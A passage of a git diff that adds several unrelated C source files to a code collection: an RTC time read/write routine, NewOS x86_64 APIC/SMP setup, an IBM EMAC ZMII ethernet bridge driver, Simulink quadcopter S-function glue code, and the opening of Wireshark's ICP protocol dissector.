(up to 1s - eeccch) for the falling edge of RTC_UIP. + * If you need to know *exactly* when a second has started, enable + * periodic update complete interrupts, (via ioctl) and then + * immediately read /dev/rtc which will block until you get the IRQ. + * Once the read clears, read the RTC time (again via ioctl). Easy. + */ + if (mc146818_is_updating()) + mdelay(20); + + /* + * Only the values that we read from the RTC are set. We leave + * tm_wday, tm_yday and tm_isdst untouched. Even though the + * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated + * by the RTC when initially set to a non-zero value. + */ + spin_lock_irqsave(&rtc_lock, flags); + time->tm_sec = CMOS_READ(RTC_SECONDS); + time->tm_min = CMOS_READ(RTC_MINUTES); + time->tm_hour = CMOS_READ(RTC_HOURS); + time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH); + time->tm_mon = CMOS_READ(RTC_MONTH); + time->tm_year = CMOS_READ(RTC_YEAR); +#ifdef CONFIG_MACH_DECSTATION + real_year = CMOS_READ(RTC_DEC_YEAR); +#endif +#ifdef CONFIG_ACPI + if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID && + acpi_gbl_FADT.century) + century = CMOS_READ(acpi_gbl_FADT.century); +#endif + ctrl = CMOS_READ(RTC_CONTROL); + spin_unlock_irqrestore(&rtc_lock, flags); + + if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD) + { + time->tm_sec = bcd2bin(time->tm_sec); + time->tm_min = bcd2bin(time->tm_min); + time->tm_hour = bcd2bin(time->tm_hour); + time->tm_mday = bcd2bin(time->tm_mday); + time->tm_mon = bcd2bin(time->tm_mon); + time->tm_year = bcd2bin(time->tm_year); + century = bcd2bin(century); + } + +#ifdef CONFIG_MACH_DECSTATION + time->tm_year += real_year - 72; +#endif + + if (century) + time->tm_year += (century - 19) * 100; + + /* + * Account for differences between how the RTC uses the values + * and how they are defined in a struct rtc_time; + */ + if (time->tm_year <= 69) + time->tm_year += 100; + + time->tm_mon--; + + return RTC_24H; +} +EXPORT_SYMBOL_GPL(mc146818_get_time); + +/* Set the current date and time in the real time clock. */ +int mc146818_set_time(struct rtc_time *time) +{ + unsigned long flags; + unsigned char mon, day, hrs, min, sec; + unsigned char save_control, save_freq_select; + unsigned int yrs; +#ifdef CONFIG_MACH_DECSTATION + unsigned int real_yrs, leap_yr; +#endif + unsigned char century = 0; + + yrs = time->tm_year; + mon = time->tm_mon + 1; /* tm_mon starts at zero */ + day = time->tm_mday; + hrs = time->tm_hour; + min = time->tm_min; + sec = time->tm_sec; + + if (yrs > 255) /* They are unsigned */ + return -EINVAL; + + spin_lock_irqsave(&rtc_lock, flags); +#ifdef CONFIG_MACH_DECSTATION + real_yrs = yrs; + leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) || + !((yrs + 1900) % 400)); + yrs = 72; + + /* + * We want to keep the year set to 73 until March + * for non-leap years, so that Feb, 29th is handled + * correctly. + */ + if (!leap_yr && mon < 3) { + real_yrs--; + yrs = 73; + } +#endif + +#ifdef CONFIG_ACPI + if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID && + acpi_gbl_FADT.century) { + century = (yrs + 1900) / 100; + yrs %= 100; + } +#endif + + /* These limits and adjustments are independent of + * whether the chip is in binary mode or not. + */ + if (yrs > 169) { + spin_unlock_irqrestore(&rtc_lock, flags); + return -EINVAL; + } + + if (yrs >= 100) + yrs -= 100; + + if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY) + || RTC_ALWAYS_BCD) { + sec = bin2bcd(sec); + min = bin2bcd(min); + hrs = bin2bcd(hrs); + day = bin2bcd(day); + mon = bin2bcd(mon); + yrs = bin2bcd(yrs); + century = bin2bcd(century); + } + + save_control = CMOS_READ(RTC_CONTROL); + CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL); + save_freq_select = CMOS_READ(RTC_FREQ_SELECT); + CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT); + +#ifdef CONFIG_MACH_DECSTATION + CMOS_WRITE(real_yrs, RTC_DEC_YEAR); +#endif + CMOS_WRITE(yrs, RTC_YEAR); + CMOS_WRITE(mon, RTC_MONTH); + CMOS_WRITE(day, RTC_DAY_OF_MONTH); + CMOS_WRITE(hrs, RTC_HOURS); + CMOS_WRITE(min, RTC_MINUTES); + CMOS_WRITE(sec, RTC_SECONDS); +#ifdef CONFIG_ACPI + if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID && + acpi_gbl_FADT.century) + CMOS_WRITE(century, acpi_gbl_FADT.century); +#endif + + CMOS_WRITE(save_control, RTC_CONTROL); + CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT); + + spin_unlock_irqrestore(&rtc_lock, flags); + + return 0; +} +EXPORT_SYMBOL_GPL(mc146818_set_time); diff --git a/pool/shard011/C/0142352_arch_smp.c b/pool/shard011/C/0142352_arch_smp.c new file mode 100644 index 0000000000000000000000000000000000000000..1af5e74e9b68b5f6e1efd677ec61824baa30fa01 --- /dev/null +++ b/pool/shard011/C/0142352_arch_smp.c @@ -0,0 +1,259 @@ +/* +** Copyright 2001-2004, Travis Geiselbrecht. All rights reserved. +** Distributed under the terms of the NewOS License. +*/ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include +#include + +static int num_cpus = 1; +static unsigned int *apic = NULL; +static unsigned int cpu_apic_id[_MAX_CPUS] = { 0 }; +static unsigned int cpu_os_id[_MAX_CPUS] = { 0 }; +static unsigned int cpu_apic_version[_MAX_CPUS] = { 0 }; +static unsigned int *ioapic = NULL; +static unsigned int apic_timer_tics_per_sec = 0; + +static int x86_64_timer_interrupt(void* data) +{ + arch_smp_ack_interrupt(); + + return apic_timer_interrupt(); +} + +static int x86_64_ici_interrupt(void* data) +{ + // gin-u-wine inter-cpu interrupt +// dprintf("inter-cpu interrupt on cpu %d\n", arch_smp_get_current_cpu()); + arch_smp_ack_interrupt(); + + return smp_intercpu_int_handler(); +} + +static int x86_64_spurious_interrupt(void* data) +{ + // spurious interrupt +// dprintf("spurious interrupt on cpu %d\n", arch_smp_get_current_cpu()); + arch_smp_ack_interrupt(); + return INT_NO_RESCHEDULE; +} + +static int x86_64_smp_error_interrupt(void* data) +{ + // smp error interrupt +// dprintf("smp error interrupt on cpu %d\n", arch_smp_get_current_cpu()); + arch_smp_ack_interrupt(); + return INT_NO_RESCHEDULE; +} + +static unsigned int apic_read(unsigned int *addr) +{ + return *addr; +} + +static void apic_write(unsigned int *addr, unsigned int data) +{ + *addr = data; +} + +int arch_smp_init(kernel_args *ka) +{ + dprintf("arch_smp_init: entry\n"); + + if(ka->num_cpus > 1) { + // setup some globals + num_cpus = ka->num_cpus; + apic = ka->arch_args.apic; + ioapic = ka->arch_args.ioapic; + memcpy(cpu_apic_id, ka->arch_args.cpu_apic_id, sizeof(ka->arch_args.cpu_apic_id)); + memcpy(cpu_os_id, ka->arch_args.cpu_os_id, sizeof(ka->arch_args.cpu_os_id)); + memcpy(cpu_apic_version, ka->arch_args.cpu_apic_version, sizeof(ka->arch_args.cpu_apic_version)); + apic_timer_tics_per_sec = ka->arch_args.apic_time_cv_factor; + + // setup regions that represent the apic & ioapic + vm_create_anonymous_region(vm_get_kernel_aspace_id(), "local_apic", (void *)&apic, + REGION_ADDR_EXACT_ADDRESS, PAGE_SIZE, REGION_WIRING_WIRED_ALREADY, LOCK_RW|LOCK_KERNEL); + vm_create_anonymous_region(vm_get_kernel_aspace_id(), "ioapic", (void *)&ioapic, + REGION_ADDR_EXACT_ADDRESS, PAGE_SIZE, REGION_WIRING_WIRED_ALREADY, LOCK_RW|LOCK_KERNEL); + + // set up the local apic on the boot cpu + arch_smp_init_percpu(ka, 1); + + // set up the interrupt handlers for local apic interrupts. + // they are mapped to absolute interrupts 0xfb-0xff, but the io handlers are all + // base 0x20, so subtract 0x20. + int_set_io_interrupt_handler(0xfb - 0x20, &x86_64_timer_interrupt, NULL, "lapic timer"); + int_set_io_interrupt_handler(0xfd - 0x20, &x86_64_ici_interrupt, NULL, "ici"); + int_set_io_interrupt_handler(0xfe - 0x20, &x86_64_smp_error_interrupt, NULL, "lapic smp error"); + int_set_io_interrupt_handler(0xff - 0x20, &x86_64_spurious_interrupt, NULL, "lapic spurious"); + } else { + num_cpus = 1; + } + + return 0; +} + +static int smp_setup_apic(kernel_args *ka) +{ + unsigned int config; + + /* set spurious interrupt vector to 0xff */ + config = apic_read(APIC_SIVR) & 0xfffffc00; + config |= APIC_ENABLE | 0xff; + apic_write(APIC_SIVR, config); +#if 0 + /* setup LINT0 as ExtINT */ + config = (apic_read(APIC_LINT0) & 0xffff1c00); + config |= APIC_LVT_DM_ExtINT | APIC_LVT_IIPP | APIC_LVT_TM; + apic_write(APIC_LINT0, config); + + /* setup LINT1 as NMI */ + config = (apic_read(APIC_LINT1) & 0xffff1c00); + config |= APIC_LVT_DM_NMI | APIC_LVT_IIPP; + apic_write(APIC_LINT1, config); +#endif + + /* setup timer */ + config = apic_read(APIC_LVTT) & ~APIC_LVTT_MASK; + config |= 0xfb | APIC_LVTT_M; // vector 0xfb, timer masked + apic_write(APIC_LVTT, config); + + apic_write(APIC_ICRT, 0); // zero out the clock + + config = apic_read(APIC_TDCR) & ~0x0000000f; + config |= APIC_TDCR_1; // clock division by 1 + apic_write(APIC_TDCR, config); + + /* setup error vector to 0xfe */ + config = (apic_read(APIC_LVT3) & 0xffffff00) | 0xfe; + apic_write(APIC_LVT3, config); + + /* accept all interrupts */ + config = apic_read(APIC_TPRI) & 0xffffff00; + apic_write(APIC_TPRI, config); + + config = apic_read(APIC_SIVR); + apic_write(APIC_EOI, 0); + +// dprintf("done\n"); + return 0; +} + +int arch_smp_init_percpu(kernel_args *ka, int cpu_num) +{ + // set up the local apic on the current cpu + dprintf("arch_smp_init_percpu: setting up the apic on cpu %d", cpu_num); + smp_setup_apic(ka); + + return 0; +} + +void arch_smp_send_broadcast_ici(void) +{ + int config; + + int_disable_interrupts(); + + config = apic_read(APIC_ICR1) & APIC_ICR1_WRITE_MASK; + apic_write(APIC_ICR1, config | 0xfd | APIC_ICR1_DELMODE_FIXED | APIC_ICR1_DESTMODE_PHYS | APIC_ICR1_DEST_ALL_BUT_SELF); + + int_restore_interrupts(); +} + +void arch_smp_send_ici(int target_cpu) +{ + int config; + + int_disable_interrupts(); + + config = apic_read(APIC_ICR2) & APIC_ICR2_MASK; + apic_write(APIC_ICR2, config | cpu_apic_id[target_cpu] << 24); + + config = apic_read(APIC_ICR1) & APIC_ICR1_WRITE_MASK; + apic_write(APIC_ICR1, config | 0xfd | APIC_ICR1_DELMODE_FIXED | APIC_ICR1_DESTMODE_PHYS | APIC_ICR1_DEST_FIELD); + + int_restore_interrupts(); +} + +void arch_smp_ack_interrupt(void) +{ + apic_write(APIC_EOI, 0); +} + +#define MIN_TIMEOUT 1000 + +int arch_smp_set_apic_timer(bigtime_t relative_timeout, int type) +{ + unsigned int config; + unsigned int ticks; + + if(apic == NULL) + return -1; + + if(relative_timeout < MIN_TIMEOUT) + relative_timeout = MIN_TIMEOUT; + + // calculation should be ok, since it's going to be 64-bit + ticks = ((relative_timeout * apic_timer_tics_per_sec) / 1000000); + + int_disable_interrupts(); + + config = apic_read(APIC_LVTT) | APIC_LVTT_M; // mask the timer + apic_write(APIC_LVTT, config); + + apic_write(APIC_ICRT, 0); // zero out the timer + + config = apic_read(APIC_LVTT) & ~APIC_LVTT_M; // unmask the timer + + if(type == HW_TIMER_ONESHOT) + config &= ~APIC_LVTT_TM; // clear the periodic bit + else + config |= APIC_LVTT_TM; // periodic + + apic_write(APIC_LVTT, config); + + dprintf("arch_smp_set_apic_timer: config 0x%x, timeout %Ld, tics/sec %d, tics %d\n", + config, relative_timeout, apic_timer_tics_per_sec, ticks); + + apic_write(APIC_ICRT, ticks); // start it up + + int_restore_interrupts(); + + return 0; +} + +int arch_smp_clear_apic_timer(void) +{ + unsigned int config; + + if(apic == NULL) + return -1; + + int_disable_interrupts(); + + config = apic_read(APIC_LVTT) | APIC_LVTT_M; // mask the timer + apic_write(APIC_LVTT, config); + + apic_write(APIC_ICRT, 0); // zero out the timer + + int_restore_interrupts(); + + return 0; +} + diff --git a/pool/shard011/C/0142353_zmii.c b/pool/shard011/C/0142353_zmii.c new file mode 100644 index 0000000000000000000000000000000000000000..f91202f42125d3088c6fbb69ac9c87b3417dfb07 --- /dev/null +++ b/pool/shard011/C/0142353_zmii.c @@ -0,0 +1,329 @@ +/* + * drivers/net/ethernet/ibm/emac/zmii.c + * + * Driver for PowerPC 4xx on-chip ethernet controller, ZMII bridge support. + * + * Copyright 2007 Benjamin Herrenschmidt, IBM Corp. + * + * + * Based on the arch/ppc version of the driver: + * + * Copyright (c) 2004, 2005 Zultys Technologies. + * Eugene Surovegin or + * + * Based on original work by + * Armin Kuster + * Copyright 2001 MontaVista Softare Inc. + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + */ +#include +#include +#include +#include + +#include "emac.h" +#include "core.h" + +/* ZMIIx_FER */ +#define ZMII_FER_MDI(idx) (0x80000000 >> ((idx) * 4)) +#define ZMII_FER_MDI_ALL (ZMII_FER_MDI(0) | ZMII_FER_MDI(1) | \ + ZMII_FER_MDI(2) | ZMII_FER_MDI(3)) + +#define ZMII_FER_SMII(idx) (0x40000000 >> ((idx) * 4)) +#define ZMII_FER_RMII(idx) (0x20000000 >> ((idx) * 4)) +#define ZMII_FER_MII(idx) (0x10000000 >> ((idx) * 4)) + +/* ZMIIx_SSR */ +#define ZMII_SSR_SCI(idx) (0x40000000 >> ((idx) * 4)) +#define ZMII_SSR_FSS(idx) (0x20000000 >> ((idx) * 4)) +#define ZMII_SSR_SP(idx) (0x10000000 >> ((idx) * 4)) + +/* ZMII only supports MII, RMII and SMII + * we also support autodetection for backward compatibility + */ +static inline int zmii_valid_mode(int mode) +{ + return mode == PHY_MODE_MII || + mode == PHY_MODE_RMII || + mode == PHY_MODE_SMII || + mode == PHY_MODE_NA; +} + +static inline const char *zmii_mode_name(int mode) +{ + switch (mode) { + case PHY_MODE_MII: + return "MII"; + case PHY_MODE_RMII: + return "RMII"; + case PHY_MODE_SMII: + return "SMII"; + default: + BUG(); + } +} + +static inline u32 zmii_mode_mask(int mode, int input) +{ + switch (mode) { + case PHY_MODE_MII: + return ZMII_FER_MII(input); + case PHY_MODE_RMII: + return ZMII_FER_RMII(input); + case PHY_MODE_SMII: + return ZMII_FER_SMII(input); + default: + return 0; + } +} + +int zmii_attach(struct platform_device *ofdev, int input, int *mode) +{ + struct zmii_instance *dev = dev_get_drvdata(&ofdev->dev); + struct zmii_regs __iomem *p = dev->base; + + ZMII_DBG(dev, "init(%d, %d)" NL, input, *mode); + + if (!zmii_valid_mode(*mode)) { + /* Probably an EMAC connected to RGMII, + * but it still may need ZMII for MDIO so + * we don't fail here. + */ + dev->users++; + return 0; + } + + mutex_lock(&dev->lock); + + /* Autodetect ZMII mode if not specified. + * This is only for backward compatibility with the old driver. + * Please, always specify PHY mode in your board port to avoid + * any surprises. + */ + if (dev->mode == PHY_MODE_NA) { + if (*mode == PHY_MODE_NA) { + u32 r = dev->fer_save; + + ZMII_DBG(dev, "autodetecting mode, FER = 0x%08x" NL, r); + + if (r & (ZMII_FER_MII(0) | ZMII_FER_MII(1))) + dev->mode = PHY_MODE_MII; + else if (r & (ZMII_FER_RMII(0) | ZMII_FER_RMII(1))) + dev->mode = PHY_MODE_RMII; + else + dev->mode = PHY_MODE_SMII; + } else + dev->mode = *mode; + + printk(KERN_NOTICE "%s: bridge in %s mode\n", + ofdev->dev.of_node->full_name, + zmii_mode_name(dev->mode)); + } else { + /* All inputs must use the same mode */ + if (*mode != PHY_MODE_NA && *mode != dev->mode) { + printk(KERN_ERR + "%s: invalid mode %d specified for input %d\n", + ofdev->dev.of_node->full_name, *mode, input); + mutex_unlock(&dev->lock); + return -EINVAL; + } + } + + /* Report back correct PHY mode, + * it may be used during PHY initialization. + */ + *mode = dev->mode; + + /* Enable this input */ + out_be32(&p->fer, in_be32(&p->fer) | zmii_mode_mask(dev->mode, input)); + ++dev->users; + + mutex_unlock(&dev->lock); + + return 0; +} + +void zmii_get_mdio(struct platform_device *ofdev, int input) +{ + struct zmii_instance *dev = dev_get_drvdata(&ofdev->dev); + u32 fer; + + ZMII_DBG2(dev, "get_mdio(%d)" NL, input); + + mutex_lock(&dev->lock); + + fer = in_be32(&dev->base->fer) & ~ZMII_FER_MDI_ALL; + out_be32(&dev->base->fer, fer | ZMII_FER_MDI(input)); +} + +void zmii_put_mdio(struct platform_device *ofdev, int input) +{ + struct zmii_instance *dev = dev_get_drvdata(&ofdev->dev); + + ZMII_DBG2(dev, "put_mdio(%d)" NL, input); + mutex_unlock(&dev->lock); +} + + +void zmii_set_speed(struct platform_device *ofdev, int input, int speed) +{ + struct zmii_instance *dev = dev_get_drvdata(&ofdev->dev); + u32 ssr; + + mutex_lock(&dev->lock); + + ssr = in_be32(&dev->base->ssr); + + ZMII_DBG(dev, "speed(%d, %d)" NL, input, speed); + + if (speed == SPEED_100) + ssr |= ZMII_SSR_SP(input); + else + ssr &= ~ZMII_SSR_SP(input); + + out_be32(&dev->base->ssr, ssr); + + mutex_unlock(&dev->lock); +} + +void zmii_detach(struct platform_device *ofdev, int input) +{ + struct zmii_instance *dev = dev_get_drvdata(&ofdev->dev); + + BUG_ON(!dev || dev->users == 0); + + mutex_lock(&dev->lock); + + ZMII_DBG(dev, "detach(%d)" NL, input); + + /* Disable this input */ + out_be32(&dev->base->fer, + in_be32(&dev->base->fer) & ~zmii_mode_mask(dev->mode, input)); + + --dev->users; + + mutex_unlock(&dev->lock); +} + +int zmii_get_regs_len(struct platform_device *ofdev) +{ + return sizeof(struct emac_ethtool_regs_subhdr) + + sizeof(struct zmii_regs); +} + +void *zmii_dump_regs(struct platform_device *ofdev, void *buf) +{ + struct zmii_instance *dev = dev_get_drvdata(&ofdev->dev); + struct emac_ethtool_regs_subhdr *hdr = buf; + struct zmii_regs *regs = (struct zmii_regs *)(hdr + 1); + + hdr->version = 0; + hdr->index = 0; /* for now, are there chips with more than one + * zmii ? if yes, then we'll add a cell_index + * like we do for emac + */ + memcpy_fromio(regs, dev->base, sizeof(struct zmii_regs)); + return regs + 1; +} + +static int zmii_probe(struct platform_device *ofdev) +{ + struct device_node *np = ofdev->dev.of_node; + struct zmii_instance *dev; + struct resource regs; + int rc; + + rc = -ENOMEM; + dev = kzalloc(sizeof(struct zmii_instance), GFP_KERNEL); + if (dev == NULL) + goto err_gone; + + mutex_init(&dev->lock); + dev->ofdev = ofdev; + dev->mode = PHY_MODE_NA; + + rc = -ENXIO; + if (of_address_to_resource(np, 0, ®s)) { + printk(KERN_ERR "%s: Can't get registers address\n", + np->full_name); + goto err_free; + } + + rc = -ENOMEM; + dev->base = (struct zmii_regs __iomem *)ioremap(regs.start, + sizeof(struct zmii_regs)); + if (dev->base == NULL) { + printk(KERN_ERR "%s: Can't map device registers!\n", + np->full_name); + goto err_free; + } + + /* We may need FER value for autodetection later */ + dev->fer_save = in_be32(&dev->base->fer); + + /* Disable all inputs by default */ + out_be32(&dev->base->fer, 0); + + printk(KERN_INFO + "ZMII %s initialized\n", ofdev->dev.of_node->full_name); + wmb(); + dev_set_drvdata(&ofdev->dev, dev); + + return 0; + + err_free: + kfree(dev); + err_gone: + return rc; +} + +static int zmii_remove(struct platform_device *ofdev) +{ + struct zmii_instance *dev = dev_get_drvdata(&ofdev->dev); + + dev_set_drvdata(&ofdev->dev, NULL); + + WARN_ON(dev->users != 0); + + iounmap(dev->base); + kfree(dev); + + return 0; +} + +static struct of_device_id zmii_match[] = +{ + { + .compatible = "ibm,zmii", + }, + /* For backward compat with old DT */ + { + .type = "emac-zmii", + }, + {}, +}; + +static struct platform_driver zmii_driver = { + .driver = { + .name = "emac-zmii", + .owner = THIS_MODULE, + .of_match_table = zmii_match, + }, + .probe = zmii_probe, + .remove = zmii_remove, +}; + +int __init zmii_init(void) +{ + return platform_driver_register(&zmii_driver); +} + +void zmii_exit(void) +{ + platform_driver_unregister(&zmii_driver); +} diff --git a/pool/shard011/C/0142354_quadcopter_sim_sfun.c b/pool/shard011/C/0142354_quadcopter_sim_sfun.c new file mode 100644 index 0000000000000000000000000000000000000000..14f70aefd7720acdf994b1f23bec7643c35b11c6 --- /dev/null +++ b/pool/shard011/C/0142354_quadcopter_sim_sfun.c @@ -0,0 +1,213 @@ +/* Include files */ + +#include "quadcopter_sim_sfun.h" +#include "c2_quadcopter_sim.h" + +/* Type Definitions */ + +/* Named Constants */ + +/* Variable Declarations */ + +/* Variable Definitions */ +uint32_T _quadcopter_simMachineNumber_; +real_T _sfTime_; + +/* Function Declarations */ + +/* Function Definitions */ +void quadcopter_sim_initializer(void) +{ +} + +void quadcopter_sim_terminator(void) +{ +} + +/* SFunction Glue Code */ +unsigned int sf_quadcopter_sim_method_dispatcher(SimStruct *simstructPtr, + unsigned int chartFileNumber, const char* specsCksum, int_T method, void *data) +{ + if (chartFileNumber==2) { + c2_quadcopter_sim_method_dispatcher(simstructPtr, method, data); + return 1; + } + + return 0; +} + +unsigned int sf_quadcopter_sim_process_check_sum_call( int nlhs, mxArray * plhs[], + int nrhs, const mxArray * prhs[] ) +{ + +#ifdef MATLAB_MEX_FILE + + char commandName[20]; + if (nrhs<1 || !mxIsChar(prhs[0]) ) + return 0; + + /* Possible call to get the checksum */ + mxGetString(prhs[0], commandName,sizeof(commandName)/sizeof(char)); + commandName[(sizeof(commandName)/sizeof(char)-1)] = '\0'; + if (strcmp(commandName,"sf_get_check_sum")) + return 0; + plhs[0] = mxCreateDoubleMatrix( 1,4,mxREAL); + if (nrhs>1 && mxIsChar(prhs[1])) { + mxGetString(prhs[1], commandName,sizeof(commandName)/sizeof(char)); + commandName[(sizeof(commandName)/sizeof(char)-1)] = '\0'; + if (!strcmp(commandName,"machine")) { + ((real_T *)mxGetPr((plhs[0])))[0] = (real_T)(1825371648U); + ((real_T *)mxGetPr((plhs[0])))[1] = (real_T)(748447302U); + ((real_T *)mxGetPr((plhs[0])))[2] = (real_T)(4258617584U); + ((real_T *)mxGetPr((plhs[0])))[3] = (real_T)(235782422U); + } else if (!strcmp(commandName,"exportedFcn")) { + ((real_T *)mxGetPr((plhs[0])))[0] = (real_T)(0U); + ((real_T *)mxGetPr((plhs[0])))[1] = (real_T)(0U); + ((real_T *)mxGetPr((plhs[0])))[2] = (real_T)(0U); + ((real_T *)mxGetPr((plhs[0])))[3] = (real_T)(0U); + } else if (!strcmp(commandName,"makefile")) { + ((real_T *)mxGetPr((plhs[0])))[0] = (real_T)(4141986620U); + ((real_T *)mxGetPr((plhs[0])))[1] = (real_T)(458136592U); + ((real_T *)mxGetPr((plhs[0])))[2] = (real_T)(392497117U); + ((real_T *)mxGetPr((plhs[0])))[3] = (real_T)(2254488256U); + } else if (nrhs==3 && !strcmp(commandName,"chart")) { + unsigned int chartFileNumber; + chartFileNumber = (unsigned int)mxGetScalar(prhs[2]); + switch (chartFileNumber) { + case 2: + { + extern void sf_c2_quadcopter_sim_get_check_sum(mxArray *plhs[]); + sf_c2_quadcopter_sim_get_check_sum(plhs); + break; + } + + default: + ((real_T *)mxGetPr((plhs[0])))[0] = (real_T)(0.0); + ((real_T *)mxGetPr((plhs[0])))[1] = (real_T)(0.0); + ((real_T *)mxGetPr((plhs[0])))[2] = (real_T)(0.0); + ((real_T *)mxGetPr((plhs[0])))[3] = (real_T)(0.0); + } + } else if (!strcmp(commandName,"target")) { + ((real_T *)mxGetPr((plhs[0])))[0] = (real_T)(3176360410U); + ((real_T *)mxGetPr((plhs[0])))[1] = (real_T)(1862911626U); + ((real_T *)mxGetPr((plhs[0])))[2] = (real_T)(659157607U); + ((real_T *)mxGetPr((plhs[0])))[3] = (real_T)(1884031890U); + } else { + return 0; + } + } else { + ((real_T *)mxGetPr((plhs[0])))[0] = (real_T)(223770666U); + ((real_T *)mxGetPr((plhs[0])))[1] = (real_T)(3105986663U); + ((real_T *)mxGetPr((plhs[0])))[2] = (real_T)(3943034570U); + ((real_T *)mxGetPr((plhs[0])))[3] = (real_T)(483687184U); + } + + return 1; + +#else + + return 0; + +#endif + +} + +unsigned int sf_quadcopter_sim_autoinheritance_info( int nlhs, mxArray * plhs[], + int nrhs, const mxArray * prhs[] ) +{ + +#ifdef MATLAB_MEX_FILE + + char commandName[32]; + if (nrhs<2 || !mxIsChar(prhs[0]) ) + return 0; + + /* Possible call to get the autoinheritance_info */ + mxGetString(prhs[0], commandName,sizeof(commandName)/sizeof(char)); + commandName[(sizeof(commandName)/sizeof(char)-1)] = '\0'; + if (strcmp(commandName,"get_autoinheritance_info")) + return 0; + + { + unsigned int chartFileNumber; + chartFileNumber = (unsigned int)mxGetScalar(prhs[1]); + switch (chartFileNumber) { + case 2: + { + extern mxArray *sf_c2_quadcopter_sim_get_autoinheritance_info(void); + plhs[0] = sf_c2_quadcopter_sim_get_autoinheritance_info(); + break; + } + + default: + plhs[0] = mxCreateDoubleMatrix(0,0,mxREAL); + } + } + + return 1; + +#else + + return 0; + +#endif + +} + +unsigned int sf_quadcopter_sim_get_eml_resolved_functions_info( int nlhs, + mxArray * plhs[], int nrhs, const mxArray * prhs[] ) +{ + +#ifdef MATLAB_MEX_FILE + + char commandName[64]; + if (nrhs<2 || !mxIsChar(prhs[0])) + return 0; + + /* Possible call to get the get_eml_resolved_functions_info */ + mxGetString(prhs[0], commandName,sizeof(commandName)/sizeof(char)); + commandName[(sizeof(commandName)/sizeof(char)-1)] = '\0'; + if (strcmp(commandName,"get_eml_resolved_functions_info")) + return 0; + + { + unsigned int chartFileNumber; + chartFileNumber = (unsigned int)mxGetScalar(prhs[1]); + switch (chartFileNumber) { + case 2: + { + extern const mxArray + *sf_c2_quadcopter_sim_get_eml_resolved_functions_info(void); + mxArray *persistentMxArray = (mxArray *) + sf_c2_quadcopter_sim_get_eml_resolved_functions_info(); + plhs[0] = mxDuplicateArray(persistentMxArray); + mxDestroyArray(persistentMxArray); + break; + } + + default: + plhs[0] = mxCreateDoubleMatrix(0,0,mxREAL); + } + } + + return 1; + +#else + + return 0; + +#endif + +} + +void quadcopter_sim_debug_initialize(void) +{ + _quadcopter_simMachineNumber_ = sf_debug_initialize_machine("quadcopter_sim", + "sfun",0,1,0,0,0); + sf_debug_set_machine_event_thresholds(_quadcopter_simMachineNumber_,0,0); + sf_debug_set_machine_data_thresholds(_quadcopter_simMachineNumber_,0); +} + +void quadcopter_sim_register_exported_symbols(SimStruct* S) +{ +} diff --git a/pool/shard011/C/0142355_packet-icp.c b/pool/shard011/C/0142355_packet-icp.c new file mode 100644 index 0000000000000000000000000000000000000000..7e316d69edfd081ac6b71585f8bfd5630e7b63d7 --- /dev/null +++ b/pool/shard011/C/0142355_packet-icp.c @@ -0,0 +1,245 @@ +/* packet-icp.c + * Routines for ICP (internet cache protocol) packet disassembly + * RFC 2186 && RFC 2187 + * By Peter Torvals + * Copyright 1999 Peter Torvals + * + * $Id$ + * + * Wireshark - Network traffic analyzer + * By Gerald Combs + * Copyright 1998 + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#define MAX_TEXTBUF_LENGTH 600 +#include "config.h" + +#include + +#include +#include + +static int proto_icp=-1; +static int hf_icp_length=-1; +static int hf_icp_opcode=-1; +static int hf_icp_version=-1; +static int hf_icp_request_nr=-1; + +static gint ett_icp = -1; +static gint ett_icp_payload = -1; + +#define UDP_PORT_ICP 3130 + +#define CODE_ICP_OP_QUERY 1 +#define CODE_ICP_OP_INVALID 0 +#define CODE_ICP_OP_HIT 2 +#define CODE_ICP_OP_MISS 3 +#define CODE_ICP_OP_ERR 4 +#define CODE_ICP_OP_SEND 5 +#define CODE_ICP_OP_SENDA 6 +#define CODE_ICP_OP_DATABEG 7 +#define CODE_ICP_OP_DATA 8 +#define CODE_ICP_OP_DATAEND 9 +#define CODE_ICP_OP_SECHO 10 +#define CODE_ICP_OP_DECHO 11 +#define CODE_ICP_OP_MISS_NOFETCH 21 +#define CODE_ICP_OP_DENIED 22 +#define CODE_ICP_OP_HIT_OBJ 23 + +static const value_string opcode_vals[] = { +{ CODE_ICP_OP_INVALID , "ICP_INVALID" }, +{ CODE_ICP_OP_QUERY , "ICP_QUERY" }, +{ CODE_ICP_OP_HIT , "ICP_HIT" }, +{ CODE_ICP_OP_MISS , "ICP_MISS" }, +{ CODE_ICP_OP_ERR , "ICP_ERR" }, +{ CODE_ICP_OP_SEND, "ICP_SEND" }, +{ CODE_ICP_OP_SENDA, "ICP_SENDA"}, +{ CODE_ICP_OP_DATABEG, "ICP_DATABEG"}, +{ CODE_ICP_OP_DATA, "ICP_DATA"}, +{ CODE_ICP_OP_DATAEND, "ICP_DATA_END"}, +{ CODE_ICP_OP_SECHO , "ICP_SECHO"}, +{ CODE_ICP_OP_DECHO , "ICP_DECHO"}, +{ CODE_ICP_OP_MISS_NOFETCH , "ICP_MISS_NOFETCH"}, +{ CODE_ICP_OP_DENIED , "ICP_DENIED"}, +{ CODE_ICP_OP_HIT_OBJ , "ICP_HIT_OBJ"}, +{ 0, NULL} +}; + +static void dissect_icp_payload(tvbuff_t *tvb, int offset, + 